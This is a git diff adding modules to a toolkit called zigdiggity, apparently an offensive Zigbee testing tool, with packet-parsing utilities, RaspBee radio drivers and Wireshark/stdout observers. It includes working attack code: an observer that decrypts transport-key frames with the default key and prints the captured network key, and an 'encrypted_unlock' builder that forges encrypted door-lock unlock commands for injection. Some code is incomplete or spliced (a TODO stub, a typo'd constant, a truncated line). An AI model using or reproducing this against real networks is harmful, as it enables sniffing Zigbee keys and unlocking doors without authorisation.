+ data_utils.commit_changes()
+
+ def check_for_key_transport(self, device, network, packet):
+
+ if ZigbeeSecurityHeader in packet and packet[ZigbeeSecurityHeader].key_type == 0x2:
+
+ if device.extended_address is not None:
+ extended_source = device.extended_address
+ key = crypto_utils.calculate_transport_key(DEFAULT_TRANSPORT_KEY)
+
+ ciphertext = packet[ZigbeeSecurityHeader].data # TODO: ensure this is the ciphertext
+ tag = packet[ZigbeeSecurityHeader].mic # TODO: ensure this is the authentication code
+ nonce = crypto_utils.get_nonce_from_packet(packet)
+
+ plaintext = crypto_utils.decrypt_ccm(key, nonce, ciphertext, tag)
+
+ # extract the key
+ #TODO
+ extracted_key = None
+
+ if extracted_key is not None:
+ network.nwk_key = extracted_key
diff --git a/zigdiggity/observers/key_finder_observer.py b/zigdiggity/observers/key_finder_observer.py
new file mode 100755
index 0000000..d4dfe07
--- /dev/null
+++ b/zigdiggity/observers/key_finder_observer.py
@@ -0,0 +1,18 @@
+from zigdiggity.packets.utils import get_extended_source, extended_address_bytes, get_pan_id
+from zigdiggity.packets.aps import is_transport_key
+import zigdiggity.crypto.utils as crypto_utils
+
+class KeyFinderObserver():
+
+ def __init__(self):
+ pass
+
+ def notify(self, channel, frame):
+ if is_transport_key(frame):
+ if get_extended_source(frame) is not None:
+ extended_source_bytes = extended_address_bytes(get_extended_source(frame))
+ decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAILT_TRANSPORT_KEY), frame, extended_source_bytes)
+ if valid:
+ print_notify("Network key acquired for PAN 0x%04x" % get_pan_id(frame))
+ network_key = bytes(decrypted)[2:18]
+ print_info("Extracted key is 0x%s" % network_key.hex())
diff --git a/zigdiggity/observers/observer.py b/zigdiggity/observers/observer.py
new file mode 100755
index 0000000..8be6f45
--- /dev/null
+++ b/zigdiggity/observers/observer.py
@@ -0,0 +1,10 @@
+class Observer():
+
+ def __init__(self):
+ pass
+
+ def notify(self, packet):
+ pass
+
+ def close(self):
+ pass
\ No newline at end of file
diff --git a/zigdiggity/observers/pcap_observer.py b/zigdiggity/observers/pcap_observer.py
new file mode 100755
index 0000000..cc170c5
--- /dev/null
+++ b/zigdiggity/observers/pcap_observer.py
@@ -0,0 +1,24 @@
+import os
+import subprocess
+from zigdiggity.misc.pcap_writer import PcapWriter
+from zigdiggity.observers.observer import Observer
+
+DLT_IEEE802_15_4 = 195
+
+class WiresharkObserver(Observer):
+
+ def __init__(self):
+ args = dict(
+ args = ['wireshark', '-ki', '-'],
+ stdin = subprocess.PIPE,
+ stderr = open(os.devnull,'w'),
+ preexec_fn = os.setpgrp
+ )
+ self.process = subprocess.Popen(**args)
+ self.writer = PcapWriter(self.process.stdin, DLT_IEEE802_15_4) # custom writer until scapy's gets better
+
+ def notify(self, channel, packet):
+ self.writer.write(bytes(packet))
+
+ def close(self):
+ self.writer.close()
diff --git a/zigdiggity/observers/stdout_observer.py b/zigdiggity/observers/stdout_observer.py
new file mode 100755
index 0000000..f14cfc8
--- /dev/null
+++ b/zigdiggity/observers/stdout_observer.py
@@ -0,0 +1,37 @@
+import os
+import subprocess
+import hexdump
+
+from zigdiggity.observers.observer import Observer
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+DOT154_FCF_TYPE_MASK = 0x0007 #: Frame type mask
+
+PACKET_TYPES = {
+ 0: "Beacon", #: Beacon frame
+ 1: "Data", #: Data frame
+ 2: "Ack", #: Acknowledgement frame
+ 3: "Mac Cmd" #: MAC Command frame
+}
+
+class StdoutObserver(Observer):
+
+ def __init__(self):
+ pass
+
+ def notify(self, channel, packet):
+ if packet is None:
+ return
+ hexdump.hexdump(bytes(packet))
+
+ pktType = struct.unpack("H', addr)
+ return addr
+
+def extended_address(ext_addr):
+ if isinstance(ext_addr, bytes):
+ return struct.unpack('>Q', ext_addr)
+ return ext_addr
+
+def pan(panid):
+ if isinstance(panid, bytes):
+ return struct.unpack('>H', panid)[0]
+ return panid
+
+def extended_pan(ext_panid):
+ if isinstance(ext_panid, bytes):
+ return struct.unpack('>Q', ext_panid)[0]
+ return ext_panid
+
+def extended_address_bytes(ext_addr):
+ if isinstance(ext_addr, bytes):
+ return ext_addr
+ return struct.pack('>Q', ext_addr)
+
+def is_src_panid_present(packet):
+ if packet is None:
+ return None
+
+ if Dot15d4FCS in packet:
+ return packet.fcf_srcaddrmode != 0 and packet.fcf_panidcompress == 0
+ else:
+ return False
+
+def get_extended_source(frame):
+ if frame is None:
+ return None
+
+ if ZigbeeNWK in frame:
+ if frame[ZigbeeNWK].flags & 16: # Extended source
+ return frame[ZigbeeNWK].ext_src
+ if ZigbeeSecurityHeader in frame:
+ return frame[ZigbeeSecurityHeader].source
+ return None
+
+def get_source(frame):
+ if frame is None:
+ return None
+
+ if Dot15d4FCS in frame:
+ if frame[Dot15d4FCS].fcf_srcaddrmode == 2: # Short
+ if Dot15d4Data in frame:
+ return frame[Dot15d4Data].src_addr
+ elif Dot15d4Cmd in frame:
+ return frame[Dot15d4Cmd].src_addr
+ elif Dot15d4Beacon in frame:
+ return frame[Dot15d4Beacon].src_addr
+ return None
+
+def get_destination(packet):
+ if packet is None:
+ return None
+
+ if Dot15d4FCS in packet:
+ if packet[Dot15d4FCS].fcf_destaddrmode == 2: # Short
+ if Dot15d4Data in packet:
+ return packet[Dot15d4Data].dest_addr
+ elif Dot15d4Cmd in packet:
+ return packet[Dot15d4Cmd].dest_addr
+ return None
+
+def get_extended_destination(packet):
+ if packet is None:
+ return None
+
+ if ZigbeeNWK in packet:
+ if packet[ZigbeeNWK].flags & 8: # Extended dest
+ return packet[ZigbeeNWK].ext_dst
+ return None
+
+def get_pan_id(packet):
+ if packet is None:
+ return None
+
+ if Dot15d4FCS in packet:
+ if Dot15d4Data in packet:
+ if is_src_panid_present(packet):
+ return packet[Dot15d4Data].src_panid
+ else:
+ return packet[Dot15d4Data].dest_panid
+ elif Dot15d4Cmd in packet:
+ if is_src_panid_present(packet):
+ return packet[Dot15d4Cmd].src_panid
+ else:
+ return packet[Dot15d4Cmd].dest_panid
+ elif Dot15d4Beacon in packet:
+ return packet[Dot15d4Beacon].src_panid
+ return None
+
+def get_extended_pan_id(packet):
+ if packet is None:
+ return None
+
+ if ZigBeeBeacon in packet:
+ return packet[ZigBeeBeacon].extended_pan_id
+ return None
+
+def get_is_coordinator(packet):
+ if packet is None:
+ return None
+ if Dot15d4Beacon in packet:
+ return packet[Dot15d4Beacon].sf_pancoord
+ return None
+
+def get_sequence_number(packet):
+ if packet is None:
+ return None
+
+ if Dot15d4FCS in packet:
+ return packet[Dot15d4FCS].seqnum
+ return None
+
+def get_nwk_sequence(packet):
+ if packet is None:
+ return None
+
+ if ZigbeeNWK in packet:
+ return packet[ZigbeeNWK].seqnum
+ return None
+
+def get_frame_counter(packet):
+ if packet is None:
+ return None
+
+ if ZigbeeSecurityHeader in packet:
+ return packet[ZigbeeSecurityHeader].fc
+ return None
+
+def get_aps_counter(packet):
+ if packet is None:
+ return None
+
+ if ZigbeeAppDataPayload in packet:
+ return packet[ZigbeeAppDataPayload].counter
+ return None
+
+def get_zcl_sequence(packet):
+ if packet is None:
+ return None
+
+ if ZigbeeClusterLibrary in packet:
+ return packet[ZigbeeClusterLibrary].transaction_sequence
+ return None
+
diff --git a/zigdiggity/packets/zcl.py b/zigdiggity/packets/zcl.py
new file mode 100755
index 0000000..02f4aa6
--- /dev/null
+++ b/zigdiggity/packets/zcl.py
@@ -0,0 +1,40 @@
+from zigdiggity.packets.utils import extended_address, address, pan, extended_pan, extended_address_bytes
+from zigdiggity.packets.nwk import nwk_stub
+from zigdiggity.packets.dot15d4 import dot15d4_data_stub
+from zigdiggity.packets.security import security_header_stub
+import zigdiggity.crypto.utils as crypto_utils
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+def encrypted_unlock(panid, source, destination, extended_source, key, frame_counter=0, seq_num=0, nwk_seq_num=0, aps_counter=0, zcl_seq_num=0):
+
+ panid = pan(panid)
+ source = address(source)
+ destination = address(destination)
+ extended_source = extended_address(extended_source)
+
+ extended_source_bytes = extended_address_bytes(extended_source)
+
+ aps_payload = ZigbeeAppDataPayload()
+ aps_payload.aps_frametype=0
+ aps_payload.deliver_mode=2
+ aps_payload.frame_control=4
+ aps_payload.cluster=0x0101
+ aps_payload.profile=0x0104
+ aps_payload.dst_endpoint=0xff # Broadcast
+ aps_payload.src_endpoint=1
+ aps_payload.counter=aps_counter
+
+ zcl = ZigbeeClusterLibrary()
+ zcl.zcl_frametype=1
+ zcl.transaction_sequence=zcl_seq_num
+ zcl.command_identifier=1
+
+ payload = aps_payload / zcl
+
+ dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination)
+ nwk = nwk_stub(source, destination, nwk_seq_num)
+ security_header = security_header_stub(extended_source, frame_counter)
+ unencrypted_frame_part = dot15d4_data / nwk / security_header
+
+ return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part, bytes(payload), extended_source_bytes)
diff --git a/zigdiggity/radios/__init__.py b/zigdiggity/radios/__init__.py
new file mode 100755
index 0000000..e69de29
diff --git a/zigdiggity/radios/observer_radio.py b/zigdiggity/radios/observer_radio.py
new file mode 100755
index 0000000..f68daa3
--- /dev/null
+++ b/zigdiggity/radios/observer_radio.py
@@ -0,0 +1,104 @@
+from zigdiggity.radios.radio import Radio
+from zigdiggity.observers.observer import Observer
+
+class ObserverRadio(Radio):
+
+ def __init__(self, radio):
+ self.radio = radio
+
+ self.receive_observers = []
+ self.send_observers = []
+ self.loaded_frame = []
+
+ def set_channel(self, channel):
+ self.radio.set_channel(channel)
+
+ def get_channel(self):
+ return self.radio.get_channel()
+
+ def off(self):
+ self.radio.off()
+
+ def receive(self):
+ frame = self.radio.receive()
+ channel = self.radio.channel
+ if frame is not None:
+ self.notify_observers(self.receive_observers, channel, frame)
+ return frame
+
+ def receive_and_ack(self, panid=0x0000, addr=0x0000):
+ frame = self.radio.receive_and_ack(panid=panid, addr=addr)
+ channel = self.radio.channel
+ if frame is not None:
+ self.notify_observers(self.receive_observers, channel, frame)
+ return frame
+
+ def send(self, frame):
+ channel = self.radio.channel
+ if frame is not None:
+ self.notify_observers(self.send_observers, channel, frame)
+ self.radio.send(frame)
+
+ def send_and_retry(self, frame):
+ channel = self.radio.channel
+ if frame is not None:
+ self.notify_observers(self.send_observers, channel, frame)
+ self.radio.send(frame)
+
+ def load_frame(self, frame):
+ self.loaded_frame = frame
+ self.radio.load_frame(frame)
+
+ def fire_frame(self):
+ self.radio.fire_frame()
+ channel = self.radio.channel
+ if self.loaded_frame is not None:
+ self.notify_observers(self.send_observers, channel, self.loaded_frame)
+
+ def fire_and_retry(self):
+ self.radio.fire_and_retry()
+ channel = self.radio.channel
+ if self.loaded_frame is not None:
+ self.notify_observers(self.send_observers, channel, self.loaded_frame)
+
+ def receive_with_metadata(self):
+ result = self.radio.receive_with_metadata()
+ channel = self.radio.channel
+ if result is not None:
+ self.notify_observers(self.receive_observers, channel, result["frame"])
+ return result
+
+ def notify_observers(self, observers, channel, frame):
+ for observer in observers:
+ observer.notify(channel, frame)
+
+ def add_receive_observer(self, observer):
+ if isinstance(observer, Observer):
+ self.receive_observers.append(observer)
+
+ def add_send_observer(self, observer):
+ if isinstance(observer, Observer):
+ self.send_observers.append(observer)
+
+ def add_observer(self, observer):
+ if isinstance(observer, Observer):
+ self.receive_observers.append(observer)
+ self.send_observers.append(observer)
+
+ def avg_send(self):
+ return self.radio.avg_send
+
+ def avg_recv(self):
+ return self.radio.avg_recv
+
+ def avg_sniff_change(self):
+ return self.radio.avg_sniff_change
+
+ def add_send_time(self, seconds):
+ self.radio.add_send_time(seconds)
+
+ def add_recv_time(self, seconds):
+ self.radio.add_recv_time(seconds)
+
+ def add_sniff_change_time(self, seconds):
+ self.radio.add_sniff_change_time(seconds)
diff --git a/zigdiggity/radios/radio.py b/zigdiggity/radios/radio.py
new file mode 100755
index 0000000..47e6873
--- /dev/null
+++ b/zigdiggity/radios/radio.py
@@ -0,0 +1,59 @@
+class Radio():
+
+ channel = 0
+
+ # Statistics for the radio
+ total_send_time = 0
+ send_count = 0
+ total_recv_time = 0
+ recv_count = 0
+ total_sniff_change_time = 0
+ sniff_change_count = 0
+
+ def set_channel(self, channel):
+ pass
+
+ def get_channel(self):
+ return self.channel
+
+ def receive(self):
+ pass
+
+ def receive_and_ack(self):
+ pass
+
+ def send(self, packet):
+ pass
+
+ def send_and_retry(self, packet):
+ pass
+
+ def sniffer(self, sniffer_on):
+ pass
+
+ def close(self):
+ pass
+
+ def avg_send(self):
+ if self.send_count == 0: return 0
+ return self.total_send_time / self.send_count
+
+ def avg_recv(self):
+ if self.recv_count == 0: return 0
+ return self.total_recv_time / self.recv_count
+
+ def avg_sniff_change(self):
+ if self.sniff_change_count == 0: return 0
+ return self.total_sniff_change_time / self.sniff_change_count
+
+ def add_send_time(self, seconds):
+ self.total_send_time += seconds
+ self.send_count += 1
+
+ def add_recv_time(self, seconds):
+ self.total_recv_time += seconds
+ self.recv_count += 1
+
+ def add_sniff_change_time(self, seconds):
+ self.total_sniff_change_time += seconds
+ self.sniff_change_count += 1
diff --git a/zigdiggity/radios/raspbee_radio.py b/zigdiggity/radios/raspbee_radio.py
new file mode 100755
index 0000000..d4406e5
--- /dev/null
+++ b/zigdiggity/radios/raspbee_radio.py
@@ -0,0 +1,203 @@
+import serial
+import struct
+import sys
+import time
+from zigdiggity.radios.radio import Radio
+from scapy.layers.dot15d4 import Dot15d4FCS, conf
+
+conf.dot15d4_protocol = 'zigbee'
+
+CMD_OFF = 0x30
+CMD_RX = 0x31
+CMD_TX = 0x32
+CMD_RX_AACK = 0x33
+CMD_TX_ARET = 0x34
+CMD_SET_CHANNEL = 0x35
+CMD_LOAD_FRAME = 0x36
+CMD_FIRE_FRAME = 0x37
+CMD_FIRE_ARET = 0x38
+CMD_RX_WMETADATA = 0x39
+DEFAULT_BAUD_RATE = 38400
+
+STATE_OFF = 0x00
+STATE_RX = 0x01
+STATE_TX = 0x02
+STATE_RX_AACK = 0x03
+STATE_TX_ARET = 0x04
+STATE_ON = 0x05
+STATE_RX_WMETADATA = 0x06
+
+class RaspbeeRadio(Radio):
+
+ def __init__(self, device):
+ self.device = device
+ self.state = STATE_OFF
+ self.serial = serial.Serial(self.device, DEFAULT_BAUD_RATE, timeout=1, inter_byte_timeout=0.5)
+ self.serial.write(bytearray(struct.pack("B", CMD_OFF)))
+ self.serial.flush()
+
+ def set_channel(self, channel):
+ if (11 <= channel <= 26):
+ set_channel_packet = bytearray(struct.pack("BB",CMD_SET_CHANNEL,channel))
+ self.serial.write(set_channel_packet)
+ self.serial.flush()
+ self.channel = channel
+
+ def on(self):
+ pass
+
+ def off(self):
+ self.serial.write(bytearray(struct.pack("B", CMD_OFF)))
+ self.serial.flush()
+ self.serial.close()
+
+ def receive(self):
+ if self.state != STATE_RX:
+ self.serial.write(bytearray(struct.pack("B",CMD_RX)))
+ self.serial.flush()
+ self.state = STATE_RX
+ return self._process_receive()
+
+ def receive_and_ack(self, panid=0x1337, addr=0x0000):
+ if self.state != STATE_RX_AACK:
+ self.serial.write(struct.pack("B",CMD_RX_AACK) + struct.pack("HH",panid,addr))
+ self.serial.flush()
+ self.state = STATE_RX_AACK
+ return self._process_receive()
+
+ def _process_receive(self):
+ try:
+ length = self.serial.read()
+ print("receiving {0}".format(len(length)))
+ if len(length) > 0:
+ # intLength = int.from_bytes(length, "big")
+ #length_bytes = bytes(str(length).encode('utf-8'))
+ if (len(length) == 1):
+ intLength = ord(length)
+ else:
+ intLength = struct.unpack('>i', length)[0]
+
+ if intLength > 127:
+ if intLength == 0xff:
+ next_byte = self.serial.read()
+ if len(next_byte) > 0:
+ if (len(next_byte) == 1):
+ # next_length = int.from_bytes(next_byte, "big")
+ next_length = ord(next_byte)
+ else:
+ # next_length = int.from_bytes(next_byte, "big")
+ next_length = struct.unpack('>i', next_byte)[0]
+ print("BBB Reading: {0} bytes".format(next_length))
+ message = self.serial.read(next_length)
+ print("BBB Got: {0} bytes".format(len(message)))
+ print("DEBUG: " + str(message))
+ return None
+ elif intLength == 0xf0:
+ rssi = self.serial.read()
+ next_length = self.serial.read()
+ # next_length_int = int.from_bytes(next_length, "big")
+ if (len(next_length) == 1):
+ # next_length = int.from_bytes(next_byte, "big")
+ next_length_int = ord(next_length)
+ else:
+ # next_length = int.from_bytes(next_byte, "big")
+ next_length_int = struct.unpack('>i', next_length)[0]
+ if next_length_int < 3:
+ print("too short")
+ return None
+ print("CCC Reading: {0} bytes".format(next_length_int))
+ packet = self.serial.read(next_length_int)
+ print("CCC Got: {0} bytes".format(len(packet)))
+ if len(packet) != next_length_int:
+ # Receive timeout occurred - discard.
+ print("incomplete packet 111")
+ return None
+
+ if STATE_RX_WMETADATA:
+ print("RSSI = {0}".format(rssi))
+ result = dict()
+ result["rssi"]=rssi
+ result["frame"]=Dot15d4FCS(packet)
+ return result
+ else:
+ print("unexpected state 111")
+ return None
+ print("unexpected length: {0}".format(intLength))
+ return None
+
+ recv_start = time.time()
+ print("AAA Reading: {0} bytes".format(intLength))
+ packet = self.serial.read(intLength)
+ print("AAA Got: {0} bytes".format(len(packet)))
+ recv_end = time.time()
+ self.add_recv_time(recv_end - recv_start)
+
+ if len(packet) != intLength or intLength < 5:
+ # Receive timeout occurred, or bad data - discard.
+ print("incomplete packet 222")
+ return None
+
+ if self.state==STATE_RX_WMETADATA:
+ print("unexpected state 222")
+ return None
+
+ try:
+ print("Creating Dot154d4 Packet")
+ pkt = Dot15d4FCS(packet)
+ return pkt
+ except Exception as e:
+ print("Failed to decode packet: {0}".format(e), file=sys.stderr)
+ return None
+ else:
+ return None
+ except serial.serialutil.SerialException as se:
+ #traceback.print_exc(file=sys.stdout)
+ return None
+
+ def send(self, packet):
+ if not Dot15d4FCS in packet:
+ packet = packet + b'00'
+
+ send_start = time.time()
+ self.serial.write(struct.pack("BB", CMD_TX, len(packet)) + bytes(packet))
+ self.serial.flush()
+ send_end = time.time()
+ self.add_send_time(send_end - send_start)
+
+ self.state = STATE_TX
+
+ def send_and_retry(self, packet):
+ if not Dot15d4FCS in packet:
+ packet = packet + b'00'
+
+ send_start = time.time()
+ self.serial.write(struct.pack("BB", CMD_TX_ARET, len(packet)) + bytes(packet))
+ self.serial.flush()
+ send_end = time.time()
+ self.add_send_time(send_end - send_start)
+
+ self.state = STATE_TX_ARET
+
+ def load_frame(self, packet):
+ if not Dot15d4FCS in packet:
+ packet = packet + b'00'
+
+ self.serial.write(struct.pack("BB", CMD_LOAD_FRAME, len(packet)) + bytes(packet))
+ self.serial.flush()
+
+ def fire_frame(self):
+ self.serial.write(struct.pack("B", CMD_FIRE_FRAME))
+ self.serial.flush()
+ self.state = STATE_TX
+
+ def fire_and_retry(self):
+ self.serial.write(struct.pack("B", CMD_FIRE_ARET))
+ self.serial.flush()
+ self.state = STATE_TX_ARET
+
+ def receive_with_metadata(self):
+ if self.state != STATE_RX_WMETADATA:
+ self.serial.write(bytearray(struct.pack("B",CMD_RX_WMETADATA)))
+ self.serial.flush()
+ self.state = STATE_RX_WMETADATA
+ return self._process_receive()